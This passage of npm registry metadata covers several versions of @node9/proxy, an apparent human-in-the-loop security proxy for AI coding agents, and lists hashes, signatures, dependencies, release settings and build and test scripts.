pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.5.3_1774983998112_0.3271645043342688","host":"s3://npm-registry-packages-npm-production"}},"1.5.4":{"name":"@node9/proxy","version":"1.5.4","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.5.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"8b11e947454c4b866053a683763f7b7fbf9c9514","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.5.4.tgz","fileCount":11,"integrity":"sha512-rcCAz08WfZFYN5k0mv+YeWzhWUHufeK94MybvDhJ7L54nPmbf7yFo7O2QByC1jbTsCCecECgCaVSq+/m8DGJhw==","signatures":[{"sig":"MEUCIQCIiAMMl9YokDAPf55+hexSSvixlh9U98r5wVhQ5sFLCgIgRIlOUxi5wxeQYe3tV85/JrI9VAdn4k6tLID48ns5/SQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.5.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1055646},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"328515636f9170343a701f14ead83e9894f41340","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.5.4_1775251200180_0.9598816096769247","host":"s3://npm-registry-packages-npm-production"}},"1.5.5":{"name":"@node9/proxy","version":"1.5.5","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.5.5","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"9638eadf6b1db4643a350916da82f601f081ffa1","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.5.5.tgz","fileCount":11,"integrity":"sha512-6kLUNQcqpB77ltbvA1yP9co+wSxqOnvRXR52NuJtYikbHOBo8amhfomH/CGpilj0naxVOJ6BUKipTaDg1+otmA==","signatures":[{"sig":"MEUCIQCmsIrOaDx63PNOaBL7Wqp6CdtWUEbd9NjlzJd04dylQwIgHv1svlQrZnMz3/f/Ix85XxVZwyARvCkgeqeUcOLxMAg=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.5.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1055646},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"cafa69fe5ed5bfdefed04424542000af4c311f24","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.5.5_1775252176825_0.6125730044048545","host":"s3://npm-registry-packages-npm-production"}},"1.6.0":{"name":"@node9/proxy","version":"1.6.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.6.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"1adc001c2f18e3423139e6c8eef34631070e0800","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.6.0.tgz","fileCount":11,"integrity":"sha512-uWDpg3X5mxqtC627s337RK2k8cnq8MCX2j97hLyk2mNCRKgzE8dCKzslIM1x9a6Hwht7HPlYTlyLWg1+ebNDCg==","signatures":[{"sig":"MEUCIQDN6QkAYoJCwAq9CjH9Ld1s0xHDSf2VvoC+IlUkVeQDOwIgZQqEp3Neluhue7qyobGUYS+8jesSPOchJZcoHvzHoE0=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.6.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1085283},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"68918f9a5f501b34d6ad790629553735bb3af16a","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.6.0_1775320004587_0.7911614712422663","host":"s3://npm-registry-packages-npm-production"}},"1.7.0":{"name":"@node9/proxy","version":"1.7.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.7.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"c17f9b856838f33fc04f3d79d5b692b561d38ed7","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.7.0.tgz","fileCount":11,"integrity":"sha512-bwP6hizgaQcNAFEjTP13IkVc3WWs3MJ76oLMxrjLNBdX3spgwIBRWQdPnEp1YgPDs/6o2zAZIvdK2ql8h9Umtw==","signatures":[{"sig":"MEUCIHK7mVzuqcT4esQ1iMq+s/xcCtP/Wp9pGhheLTSu/patAiEA35pzisSq0NZMteqRSgM5DY0tN81sbeu5qfjwO+Ms+wE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.7.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1105340},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"50753f2b2c43fcfe44da405536c72b24712d3b18","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.7.0_1775341393023_0.44205828277913417","host":"s3://npm-registry-packages-npm-production"}},"1.7.1":{"name":"@node9/proxy","version":"1.7.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.7.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"ab85e1d79d99fa03b01ffb3b5d0453aea920a5ae","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.7.1.tgz","fileCount":11,"integrity":"sha512-BBGdanwsAGfnXBTVDm4P81RiB9IG9qVG9wf6dpv0h+l69ODCtVci5PukvC2DrFhjVRW7GUZsmlCbQCmlUuh2kA==","signatures":[{"sig":"MEUCIQC12P94YdFxRZnkA5WLJP09gr/W7TehpF91FqOR0+OMDAIgH2BPLRax9hY3uGNOLkP0VJKLXlJiYldl3x5IYp3O57k=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.7.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1127914},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"2a64c6efe65527efb4eaf9e1319e41fe2c2cd553","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.7.1_1775653054975_0.9722592389501599","host":"s3://npm-registry-packages-npm-production"}},"1.8.2":{"name":"@node9/proxy","version":"1.8.2","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.8.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"62ba6dfb2c340bdd912d33b6ed0533833b1056e8","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.8.2.tgz","fileCount":16,"integrity":"sha512-6bwMAaZLvUypZEOlZAHLR8UH3KbhjX+HowoWmK0P4aqJAM0eqtWCNgzPC01YChY2Y4aWr22R8q7LL2sNGx3wyQ==","signatures":[{"sig":"MEQCIEPqpPXB5Z+YUW2KJD3rjsJOSQ0oV3Xec4EORkEdijxhAiBfRk6Wc9E2esZRGOP+l50XUHj+afWqLgotwuXHdBhUsw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.8.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1124838},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"3722c864858d80ecdaa6f4f053037a2991085d6f","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.8.2_1775666180495_0.42134048777905964","host":"s3://npm-registry-packages-npm-production"}},"1.8.3":{"name":"@node9/proxy","version":"1.8.3","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.8.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"a